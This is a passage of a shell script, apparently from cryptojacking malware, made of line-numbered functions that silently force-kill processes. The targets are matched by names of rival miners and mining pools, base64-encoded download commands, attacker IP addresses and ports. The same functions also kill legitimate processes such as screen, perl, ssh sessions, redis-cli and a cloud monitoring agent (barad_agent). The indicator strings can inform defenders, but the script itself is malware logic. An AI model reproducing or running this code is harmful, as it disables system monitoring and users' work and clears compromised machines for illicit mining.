  495. ps aux | grep -v grep | grep "[/]tmp/jmx*" | awk '{print $2}' | xargs -I % kill -9 %
  496. ps aux | grep -v grep | grep "[/]tmp/jenkins" | awk '{print $2}' | xargs -I % kill -9 %
  497. ps aux | grep -v grep | grep "[/]tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
  498. ps aux | grep -v grep | grep "[/]tmp/dl" | awk '{print $2}' | xargs -I % kill -9 %
  499. ps aux | grep -v grep | grep "[/]tmp/ddg" | awk '{print $2}' | xargs -I % kill -9 %
  500. ps aux | grep -v grep | grep "[/]tmp/65ccE*" | awk '{print $2}' | xargs -I % kill -9 %
  501. ps aux | grep -v grep | grep "[/]tmp/2Ne80*" | awk '{print $2}' | xargs -I % kill -9 %
  502. ps aux | grep -v grep | grep "[/]tmp/.ICE-" | awk '{print $2}' | xargs -I % kill -9 %
  503. ps aux | grep -v grep | grep "[/]dev/shm/z3.sh" | awk '{print $2}' | xargs -I % kill -9 %
  504. ps aux | grep -v grep | grep "[/]boot/vmlinuz" | awk '{print $2}' | xargs -I % kill -9 %
  505. ps aux | grep -v grep | grep "[/]bin/exin" | awk '{print $2}' | xargs -I % kill -9 %
  506. ps aux | grep -v grep | grep "[.]ICEd-unix" | awk '{print $2}' | xargs -I % kill -9 %
  507. ps aux | grep -v grep | grep "[ ]ps" | awk '{print $2}' | xargs -I % kill -9 %
  508. ps aux | grep -v grep | grep "[ ]\[]" | awk '{print $2}' | xargs -I % kill -9 %
  509. ps aux | grep "[s]ustse" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  510. ps aux | grep "[s]leep 60"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  511. ps aux | grep "[s]alt-minions" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  512. ps aux | grep "[k]workerdssx\|r1x" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  513. ps aux | grep "[k]insing" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  514. ps aux | grep "[k]devtmpfsi" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  515. ps aux | grep "[c]alling" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  516. ps aux | grep "[b]bb/bbb" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  517. ps aux | grep "[I]2NvZGluZzogdXRmLTg" | grep -v grep |awk '{print $2}'| xargs -I % kill -9 %
  518. ps aux | grep "[/]tmp/dhg" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  519. ps aux | grep "[/]etc/dhcp/daemon" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  520. ps aux | grep "[.]/crun" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
  521. #==# PS AUXF KILLING #==#
  522. ps auxf | grep -v grep | grep "[z][email protected]" | awk '{print $2}' | xargs -I % kill -9 %
  523. ps auxf | grep -v grep | grep "[z][email protected]" |awk '{print $2}'| xargs -I % kill -9 %
  524. ps auxf | grep -v grep | grep "[x]mrpool.eu" | awk '{print $2}'| xargs -I % kill -9 %
  525. ps auxf | grep -v grep | grep "[x]mrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %
  526. ps auxf | grep -v grep | grep "[x]mrigMiner" | awk '{print $2}'| xargs -I % kill -9 %
  527. ps auxf | grep -v grep | grep "[x]mrigDaemon" | awk '{print $2}'| xargs -I % kill -9 %
  528. ps auxf | grep -v grep | grep "[x]mrig" | awk '{print $2}'| xargs -I % kill -9 %
  529. ps auxf | grep -v grep | grep "[x]mr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 %
  530. ps auxf | grep -v grep | grep "[x]mr.crypto-pool.fr:8080" |awk '{print $2}'| xargs -I % kill -9 %
  531. ps auxf | grep -v grep | grep "[x]mr.crypto-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 %
  532. ps auxf | grep -v grep | grep "[x]mr.crypto-pool.fr:7777" |awk '{print $2}'| xargs -I % kill -9 %
  533. ps auxf | grep -v grep | grep "[x]mr.crypto-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 %
  534. ps auxf | grep -v grep | grep "[x]mr.crypto-pool.fr:6666" |awk '{print $2}'| xargs -I % kill -9 %
  535. ps auxf | grep -v grep | grep "[x]mr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 %
  536. ps auxf | grep -v grep | grep "[x]mr.crypto-pool.fr:443" |awk '{print $2}'| xargs -I % kill -9 %
  537. ps auxf | grep -v grep | grep "[x]mr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 %
  538. ps auxf | grep -v grep | grep "[x]mr.crypto-pool.fr:3333" |awk '{print $2}'| xargs -I % kill -9 %
  539. ps auxf | grep -v grep | grep "[x]mr" | awk '{print $2}'| xargs -I % kill -9 %
  540. ps auxf | grep -v grep | grep "[x]ig" | awk '{print $2}'| xargs -I % kill -9 %
  541. ps auxf | grep -v grep | grep "[x]iaoyao" | awk '{print $2}'| xargs -I % kill -9 %
  542. ps auxf | grep -v grep | grep "[x]iaoyao" | awk '{print $2}' | xargs -I % kill -9 %
  543. ps auxf | grep -v grep | grep "[x]iaoxue" | awk '{print $2}'| xargs -I % kill -9 %
  544. ps auxf | grep -v grep | grep "[x]iaoxue" | awk '{print $2}' | xargs -I % kill -9 %
  545. ps auxf | grep -v grep | grep "[w]nTKYg" | awk '{print $2}'| xargs -I % kill -9 %
  546. ps auxf | grep -v grep | grep "[t]hisxxs" | awk '{print $2}' | xargs -I % kill -9 %
  547. ps auxf | grep -v grep | grep "[t]00ls.ru" | awk '{print $2}'| xargs -I % kill -9 %
  548. ps auxf | grep -v grep | grep "[s]ustes" | awk '{print $2}' | xargs -I % kill -9 %
  549. ps auxf | grep -v grep | grep "[s]tratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %
  550. ps auxf | grep -v grep | grep "[s]tratum.f2pool.com:8888" |awk '{print $2}'| xargs -I % kill -9 %
  551. ps auxf | grep -v grep | grep "[s]tratum" |awk '{print $2}'| xargs -I % kill -9 %
  552. ps auxf | grep -v grep | grep "[s]alt-minions*" | awk '{print $2}'| xargs -I % kill -9 %
  553. ps auxf | grep -v grep | grep "[s]alt-minions" | awk '{print $2}'| xargs -I % kill -9 %
  554. ps auxf | grep -v grep | grep "[q]W3xT" | awk '{print $2}'| xargs -I % kill -9 %
  555. ps auxf | grep -v grep | grep "[p]ool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %
  556. ps auxf | grep -v grep | grep "[p]ool.t00ls.ru" |awk '{print $2}'| xargs -I % kill -9 %
  557. ps auxf | grep -v grep | grep "[n]anopool.org" | awk '{print $2}' | xargs -I % kill -9 %
  558. ps auxf | grep -v grep | grep "[m]uhsti in" |awk '{print $2}' | xargs -I % kill -9 %
  559. ps auxf | grep -v grep | grep "[m]spifa8" | awk '{print $2}' | xargs -I % kill -9 %
  560. ps auxf | grep -v grep | grep "[m]spifa7" | awk '{print $2}' | xargs -I % kill -9 %
  561. ps auxf | grep -v grep | grep "[m]spifa6" | awk '{print $2}' | xargs -I % kill -9 %
  562. ps auxf | grep -v grep | grep "[m]spifa5" | awk '{print $2}' | xargs -I % kill -9 %
  563. ps auxf | grep -v grep | grep "[m]spifa4" | awk '{print $2}' | xargs -I % kill -9 %
  564. ps auxf | grep -v grep | grep "[m]spifa3" | awk '{print $2}' | xargs -I % kill -9 %
  565. ps auxf | grep -v grep | grep "[m]spifa2" | awk '{print $2}' | xargs -I % kill -9 %
  566. ps auxf | grep -v grep | grep "[m]spifa1" | awk '{print $2}' | xargs -I % kill -9 %
  567. ps auxf | grep -v grep | grep "[m]spifa0" | awk '{print $2}' | xargs -I % kill -9 %
  568. ps auxf | grep -v grep | grep "[m]spibce" | awk '{print $2}' | xargs -I % kill -9 %
  569. ps auxf | grep -v grep | grep "[m]spibcd" | awk '{print $2}' | xargs -I % kill -9 %
  570. ps auxf | grep -v grep | grep "[m]spibcc" | awk '{print $2}' | xargs -I % kill -9 %
  571. ps auxf | grep -v grep | grep "[m]spibcb" | awk '{print $2}' | xargs -I % kill -9 %
  572. ps auxf | grep -v grep | grep "[m]spi1390" | awk '{print $2}' | xargs -I % kill -9 %
  573. ps auxf | grep -v grep | grep "[m]onerohash.com" |awk '{print $2}'| xargs -I % kill -9 %
  574. ps auxf | grep -v grep | grep "[m]onerohash.com" | awk '{print $2}' | xargs -I % kill -9 %
  575. ps auxf | grep -v grep | grep "[m]ine.moneropool.com" |awk '{print $2}'| xargs -I % kill -9 %
  576. ps auxf | grep -v grep | grep "[m]ine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %
  577. ps auxf | grep -v grep | grep "[k]workerds" | awk '{print $2}'| xargs -I % kill -9 %
  578. ps auxf | grep -v grep | grep "[k]softirqds" |wc -l | awk '{print $2}' | xargs -I % kill -9 %
  579. ps auxf | grep -v grep | grep "[k]insing*" | awk '{print $2}'| xargs -I % kill -9 %
  580. ps auxf | grep -v grep | grep "[k]insing" | awk '{print $2}'| xargs -I % kill -9 %
  581. ps auxf | grep -v grep | grep "[k]insing" | awk '{print $2}' | xargs -I % kill -9 %
  582. ps auxf | grep -v grep | grep "[k]ieuanilam.me" | awk '{print $2}' | xargs -I % kill -9 %
  583. ps auxf | grep -v grep | grep "[k]devtmpfsi*" | awk '{print $2}'| xargs -I % kill -9 %
  584. ps auxf | grep -v grep | grep "[k]devtmpfsi" | awk '{print $2}'| xargs -I % kill -9 %
  585. ps auxf | grep -v grep | grep "[k]devtmpfsi" | awk '{print $2}' | xargs -I % kill -9 %
  586. ps auxf | grep -v grep | grep "[j]avaUpdates" | awk '{print $2}'| xargs -I % kill -9 %
  587. ps auxf | grep -v grep | grep "[h]wlh3wlh44lh" | awk '{print $2}' | xargs -I % kill -9 %
  588. ps auxf | grep -v grep | grep "[h]ashvault.pro" | awk '{print $2}' | xargs -I % kill -9 %
  589. ps auxf | grep -v grep | grep "[h]ashfish" | awk '{print $2}'| xargs -I % kill -9 %
  590. ps auxf | grep -v grep | grep "[g]et.bi-chi.com" | awk '{print $2}' | xargs -I % kill -9 %
  591. ps auxf | grep -v grep | grep "[e]xe" | awk '{print $2}' | xargs -I % kill -9 %
  592. ps auxf | grep -v grep | grep "[d]dgs" | awk '{print $2}'| xargs -I % kill -9 %
  593. ps auxf | grep -v grep | grep "[c]run" | awk '{print $2}'| xargs -I % kill -9 %
  594. ps auxf | grep -v grep | grep "[S]alt-minions*" | awk '{print $2}'| xargs -I % kill -9 %
  595. ps auxf | grep -v grep | grep "[S]alt-minions" | awk '{print $2}'| xargs -I % kill -9 %
  596. ps auxf | grep -v grep | grep "[K]insing*" | awk '{print $2}'| xargs -I % kill -9 %
  597. ps auxf | grep -v grep | grep "[K]insing" | awk '{print $2}'| xargs -I % kill -9 %
  598. ps auxf | grep -v grep | grep "[K]devtmpfsi*" | awk '{print $2}'| xargs -I % kill -9 %
  599. ps auxf | grep -v grep | grep "[K]devtmpfsi" | awk '{print $2}'| xargs -I % kill -9 %
  600. ps auxf | grep -v grep | grep "[C]ircle_MI" | awk '{print $2}' | xargs -I % kill -9 %
  601. ps auxf | grep -v grep | grep "[/]var/tmp/sustes" | awk '{print $2}'| xargs -I % kill -9 %
  602. ps auxf | grep -v grep | grep "[/]var/tmp/java" | awk '{print $2}'| xargs -I % kill -9 %
  603. ps auxf | grep -v grep | grep "[/]usr/bin/bsd-port" | awk '{print $2}' | xargs -I % kill -9 %
  604. ps auxf | grep -v grep | grep "[/]usr/bin/.sshd" | awk '{print $2}' | xargs -I % kill -9 %
  605. ps auxf | grep -v grep | grep "[/]tmp/javax/sshd2" | awk '{print $2}'| xargs -I % kill -9 %
  606. ps auxf | grep -v grep | grep "[/]tmp/javax/config.sh" | awk '{print $2}'| xargs -I % kill -9 %
  607. ps auxf | grep -v grep | grep "[/]tmp/init.*" | awk '{print $2}'| xargs -I % kill -9 %
  608. ps auxf | grep -v grep | grep "[/]tmp/a7b104c270" |awk '{print $2}'| xargs -I % kill -9 %
  609. ps auxf | grep -v grep | grep "[/]tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 %
  610. ps auxf | grep -v grep | grep "[s]shd2" | awk '{print $2}'| xargs -I % kill -9 %
  611. #==# PS AX KILLING #==#
  612. ps ax | grep -o "./[0-9]* -c" | xargs -I % kill -9 %
  613. ps ax | grep "xd.json\|wq.conf\|wm.conf" | grep -v grep | grep -v "kworkerdssx\|r1x\|kworkerdssx\|r1x\|ppl" | awk '{print $1}' | xargs -I % kill -9 %
  614. ps ax | grep "wc.conf\|wq.conf\|wm.conf\|wt.conf" | grep -v grep | grep "ppl\|pscf\|ppc\|ppp" | awk '{print $1}' | xargs -I % kill -9 %
  615. ps ax | grep "[v]ar" | grep "[l]ib" | grep "[j]enkins" | grep -v "[h]ttpPort" | grep -v "[h]eadless" | grep "[\]-c"| xargs -I % kill -9 %
  616. ps ax | grep "[s]alt-minions*" | awk '{print $1}'| xargs -I % kill -9 %
  617. ps ax | grep "[s]alt-minions" | awk '{print $1}'| xargs -I % kill -9 %
  618. ps ax | grep "[k]insing*" | awk '{print $1}'| xargs -I % kill -9 %
  619. ps ax | grep "[k]insing" | awk '{print $1}'| xargs -I % kill -9 %
  620. ps ax | grep "[k]devtmpfsi*" | awk '{print $1}'| xargs -I % kill -9 %
  621. ps ax | grep "[k]devtmpfsi" | awk '{print $1}'| xargs -I % kill -9 %
  622. ps ax | grep "[j]ava.conf" | grep "[b]in" | awk '{print $1}' | xargs -I % kill -9 %
  623. ps ax | grep "[c]s.c" | grep "[b]in" | awk '{print $1}' | xargs -I % kill -9 %
  624. ps ax | grep "[c]onfig.json -t" | grep -v grep | awk '{print $1}' | xargs -I % kill -9 %
  625. ps ax | grep "[S]alt-minions*" | awk '{print $1}'| xargs -I % kill -9 %
  626. ps ax | grep "[S]alt-minions" | awk '{print $1}'| xargs -I % kill -9 %
  627. ps ax | grep "[K]insing*" | awk '{print $1}'| xargs -I % kill -9 %
  628. ps ax | grep "[K]insing" | awk '{print $1}'| xargs -I % kill -9 %
  629. ps ax | grep "[K]devtmpfsi*" | awk '{print $1}'| xargs -I % kill -9 %
  630. ps ax | grep "[K]devtmpfsi" | awk '{print $1}'| xargs -I % kill -9 %
  631. ps ax | grep "[/]tmp/" | grep -v grep | grep -v "kworkerdssx\|r2x\|kworkerdssx\|r1x\|ppl" | awk '{print $1}' | xargs -I % kill -9 %
  632. #==# PS X KILLING #==#
  633. ps x | awk "[s]alt-minions*" | awk '{print }'| xargs -I % kill -9 %
  634. ps x | awk "[s]alt-minions" | awk '{print }'| xargs -I % kill -9 %
  635. ps x | awk "[k]insing*" | awk '{print }'| xargs -I % kill -9 %
  636. ps x | awk "[k]insing" | awk '{print }'| xargs -I % kill -9 %
  637. ps x | awk "[k]devtmpfsi*" | awk '{print }'| xargs -I % kill -9 %
  638. ps x | awk "[k]devtmpfsi" | awk '{print }'| xargs -I % kill -9 %
  639. ps x | awk "[S]alt-minions*" | awk '{print }'| xargs -I % kill -9 %
  640. ps x | awk "[S]alt-minions" | awk '{print }'| xargs -I % kill -9 %
  641. ps x | awk "[K]insing*" | awk '{print }'| xargs -I % kill -9 %
  642. ps x | awk "[K]insing" | awk '{print }'| xargs -I % kill -9 %
  643. ps x | awk "[K]devtmpfsi*" | awk '{print }'| xargs -I % kill -9 %
  644. ps x | awk "[K]devtmpfsi" | awk '{print }'| xargs -I % kill -9 %
  645. ps x | awk "!/awk/ && /redisscan|ebscan|redis-cli/" | awk '{print $1}'| xargs -I % kill -9 %
  646. ps x | awk "!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/" | awk '{print $1}'| xargs -I % kill -9 %
  647. #==# PS WX #==#
  648. ps wx | grep "[s]sh -o" | awk '{print }'| xargs -I % kill -9 %
  649. ps wx | grep "[s]alt-minions*" | awk '{print }'| xargs -I % kill -9 %
  650. ps wx | grep "[s]alt-minions" | awk '{print }'| xargs -I % kill -9 %
  651. ps wx | grep "[k]insing*" | awk '{print }'| xargs -I % kill -9 %
  652. ps wx | grep "[k]insing" | awk '{print }'| xargs -I % kill -9 %
  653. ps wx | grep "[k]devtmpfsi*" | awk '{print }'| xargs -I % kill -9 %
  654. ps wx | grep "[k]devtmpfsi" | awk '{print }'| xargs -I % kill -9 %
  655. ps wx | grep "[S]alt-minions*" | awk '{print }'| xargs -I % kill -9 %
  656. ps wx | grep "[S]alt-minions" | awk '{print }'| xargs -I % kill -9 %
  657. ps wx | grep "[K]insing*" | awk '{print }'| xargs -I % kill -9 %
  658. ps wx | grep "[K]insing" | awk '{print }'| xargs -I % kill -9 %
  659. ps wx | grep "[K]devtmpfsi*" | awk '{print }'| xargs -I % kill -9 %
  660. ps wx | grep "[K]devtmpfsi" | awk '{print }'| xargs -I % kill -9 %
  661. }
  662. local_kill_sus3 > /dev/null 2>&1
  663. local_kill_sus4(){
  664. #==# KILL AND REMOVE SUSPICIOUS FOUR #==#
  665. #==# PGREP KILLING #==#
  666. pgrep -f [y]nn | xargs -I % kill -9 %
  667. pgrep -f [x]zpauectgr | xargs -I % kill -9 %
  668. pgrep -f [w]atchbog | xargs -I % kill -9 %
  669. pgrep -f [s]ystemxlv | xargs -I % kill -9 %
  670. pgrep -f [s]ysstats | xargs -I % kill -9 %
  671. pgrep -f [s]tratum | xargs -I % kill -9 %
  672. pgrep -f [s]lxfbkmxtd | xargs -I % kill -9 %
  673. pgrep -f [s]ervim | xargs -I % kill -9 %
  674. pgrep -f [s]creen | xargs -I % kill -9 %
  675. pgrep -f [s]alt-minions* | xargs -I % kill -9 %
  676. pgrep -f [s]alt-minions | xargs -I % kill -9 %
  677. pgrep -f [p]erl | xargs -I % kill -9 %
  678. pgrep -f [o]racle.jpg | xargs -I % kill -9 %
  679. pgrep -f [n]ative_svc | xargs -I % kill -9 %
  680. pgrep -f [m]wyumwdbpq.conf | xargs -I % kill -9 %
  681. pgrep -f [m]qdsflm.cf | xargs -I % kill -9 %
  682. pgrep -f [m]onerohash | xargs -I % kill -9 %
  683. pgrep -f [m]ixtape | xargs -I % kill -9 %
  684. pgrep -f [l]ower.sh | xargs -I % kill -9 %
  685. pgrep -f [k]threadd_svc | xargs -I % kill -9 %
  686. pgrep -f [k]swap_svc | xargs -I % kill -9 %
  687. pgrep -f [k]softirqd_svc | xargs -I % kill -9 %
  688. pgrep -f [k]seriod_svc | xargs -I % kill -9 %
  689. pgrep -f [k]psmoused_svc | xargs -I % kill -9 %
  690. pgrep -f [k]integrityd_svc | xargs -I % kill -9 %
  691. pgrep -f [k]insing* | xargs -I % kill -9 %
  692. pgrep -f [k]insing | xargs -I % kill -9 %
  693. pgrep -f [k]ins* | xargs -I % kill -9 %
  694. pgrep -f [k]devtmpfsi* | xargs -I % kill -9 %
  695. pgrep -f [k]devtmpfsi | xargs -I % kill -9 %
  696. pgrep -f [k]blockd_svc | xargs -I % kill -9 %
  697. pgrep -f [k]auditd_svc | xargs -I % kill -9 %
  698. pgrep -f [k]acpi_svc | xargs -I % kill -9 %
  699. pgrep -f [j]mxx | xargs -I % kill -9 %
  700. pgrep -f [j]awa | xargs -I % kill -9 %
  701. pgrep -f [h]onvbsasbf.conf | xargs -I % kill -9 %
  702. pgrep -f [e]tnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %
  703. pgrep -f [e]tnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %
  704. pgrep -f [c]ryptonight | xargs -I % kill -9 %
  705. pgrep -f [a]ddnj | xargs -I % kill -9 %
  706. pgrep -f [Y]3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %
  707. pgrep -f [S]alt-minions* | xargs -I % kill -9 %
  708. pgrep -f [S]alt-minions | xargs -I % kill -9 %
  709. pgrep -f [O]IcJi1m | xargs -I % kill -9 %
  710. pgrep -f [L]2Jpbi9iYXN | xargs -I % kill -9 %
  711. pgrep -f [K]insing* | xargs -I % kill -9 %
  712. pgrep -f [K]insing | xargs -I % kill -9 %
  713. pgrep -f [K]devtmpfsi* | xargs -I % kill -9 %
  714. pgrep -f [K]devtmpfsi | xargs -I % kill -9 %
  715. pgrep -f [K]HdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %
  716. pgrep -f [I]yEvYmluL3NoCgpzUG | xargs -I % kill -9 %
  717. pgrep -f [F]EQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %
  718. pgrep -f [6]5ccEJ7 | xargs -I % kill -9 %
  719. pgrep -f [4]7TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %
  720. pgrep -f [4]5cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %
  721. pgrep -f [2]Ne80nA | xargs -I % kill -9 %
  722. pgrep -f [2]00.68.17.196 | xargs -I % kill -9 %
  723. pgrep -f [1]95.3.146.118 | xargs -I % kill -9 %
  724. pgrep -f [1]88.209.49.54 | xargs -I % kill -9 %
  725. pgrep -f [1]81.214.87.241 | xargs -I % kill -9 %
  726. pgrep -f [.]/watchbog | xargs -I % kill -9 %
  727. pgrep -f [.]/vsp | xargs -I % kill -9 %
  728. pgrep -f [.]/vpp | xargs -I % kill -9 %
  729. pgrep -f [.]/servcesa | xargs -I % kill -9 %
  730. pgrep -f [.]/servceas | xargs -I % kill -9 %
  731. pgrep -f [.]/servceaess | xargs -I % kill -9 %
  732. pgrep -f [.]/seervceaess | xargs -I % kill -9 %
  733. pgrep -f [.]/rspce | xargs -I % kill -9 %
  734. pgrep -f [.]/pvv | xargs -I % kill -9 %
  735. pgrep -f [.]/ppp | xargs -I % kill -9 %
  736. pgrep -f [.]/pces | xargs -I % kill -9 %
  737. pgrep -f [.]/jvs | xargs -I % kill -9 %
  738. pgrep -f [.]/jiba | xargs -I % kill -9 %
  739. pgrep -f [.]/haveged | xargs -I % kill -9 %
  740. pgrep -f [.]/A7mA5gb | xargs -I % kill -9 %
  741. }
  742. local_kill_sus4 > /dev/null 2>&1
  743. local_kill_sus5(){
  744. #==# KILL AND REMOVE SUSPICIOUS FIVE #==#
  745. #==# NETSTAT #==#
  746. netstat -antp | grep "[w]atchbog" | grep "SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  747. netstat -antp | grep "[w]atchbog" | grep "ESTABLISHED" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  748. netstat -antp | grep "[p]roxkekman.ml" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  749. netstat -antp | grep "[j]avaUpdates" | grep "SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  750. netstat -antp | grep "[j]avaUpdates" | grep "ESTABLISHED" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  751. netstat -antp | grep "[:]9999" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  752. netstat -antp | grep "[:]7777" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  753. netstat -antp | grep "[:]5790" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  754. netstat -antp | grep "[:]56415" | grep "ESTABLISHED\|SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  755. netstat -antp | grep "[:]5555" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  756. netstat -antp | grep "[:]45700" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  757. netstat -antp | grep "[:]4444" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  758. netstat -antp | grep "[:]2222" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  759. netstat -antp | grep "[:]20580" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  760. netstat -antp | grep "[:]14444" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  761. netstat -antp | grep "[:]13531" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  762. netstat -antp | grep "[8]8.99.242.92" | grep "ESTABLISHED\|SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  763. netstat -antp | grep "[5].255.86.129" | grep "ESTABLISHED" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  764. netstat -antp | grep "[5].255.86.129" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  765. netstat -antp | grep "[4]6.243.253.15" | grep "ESTABLISHED\|SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  766. netstat -antp | grep "[2]7.155.87.59" | grep "SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  767. netstat -antp | grep "[2]7.155.87.59" | grep "ESTABLISHED" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  768. netstat -antp | grep "[2]3.94.24.12" | awk '{print $7}' | sed -e 's/\/.*//g' | xargs -I % kill -9 %
  769. netstat -antp | grep "[2]13.32.29.143" | grep "SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  770. netstat -antp | grep "[2]13.32.29.143" | grep "ESTABLISHED\|SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  771. netstat -antp | grep "[2]13.32.29.143" | grep "ESTABLISHED" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  772. netstat -antp | grep "[2]13.32.29.143" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  773. netstat -antp | grep "[1]92.236.161.6" | grep "ESTABLISHED\|SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  774. netstat -antp | grep "[1]76.31.6.16" | grep "ESTABLISHED\|SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  775. netstat -antp | grep "[1]58.69.133.20" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  776. netstat -antp | grep "[1]39.99.120.75" | grep "ESTABLISHED\|SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  777. netstat -antp | grep "[1]34.122.17.13" | awk '{print $7}' | sed -e 's/\/.*//g' | xargs -I % kill -9 %
  778. netstat -antp | grep "[1]21.18.238.56" | grep "SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  779. netstat -antp | grep "[1]21.18.238.56" | grep "ESTABLISHED" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  780. netstat -antp | grep "[1]08.174.197.76" | grep "ESTABLISHED\|SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  781. netstat -antp | grep "[1]07.191.99.95" | grep "ESTABLISHED\|SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  782. netstat -antp | grep "[1]07.191.99.227" | grep "ESTABLISHED\|SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  783. netstat -antp | grep "[1]07.189.11.170" | awk '{print $7}' | sed -e 's/\/.*//g' | xargs -I % kill -9 %
  784. netstat -antp | grep "[1]03.99.115.220" | grep "SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  785. netstat -antp | grep "[1]03.99.115.220" | grep "ESTABLISHED" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  786. netstat -antp | grep "27.155.87.59\|51.38.133.232" | grep "SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  787. netstat -antp | grep "27.155.87.59\|51.38.133.232" | grep "ESTABLISHED" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  788. netstat -antp | grep "202.144.193.110\|51.38.133.232" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  789. netstat -antp | grep "121.18.238.56\|51.38.133.232" | grep "SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  790. netstat -antp | grep "121.18.238.56\|51.38.133.232" | grep "ESTABLISHED" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  791. netstat -antp | grep "104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13\|51.38.133.232" | grep "SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  792. netstat -antp | grep "104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13\|51.38.133.232" | grep "ESTABLISHED" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  793. netstat -antp | grep "104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13\|51.38.133.232" | grep "CLOSE_WAIT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  794. netstat -antp | grep "104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13" | grep "SYN_SENT" | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
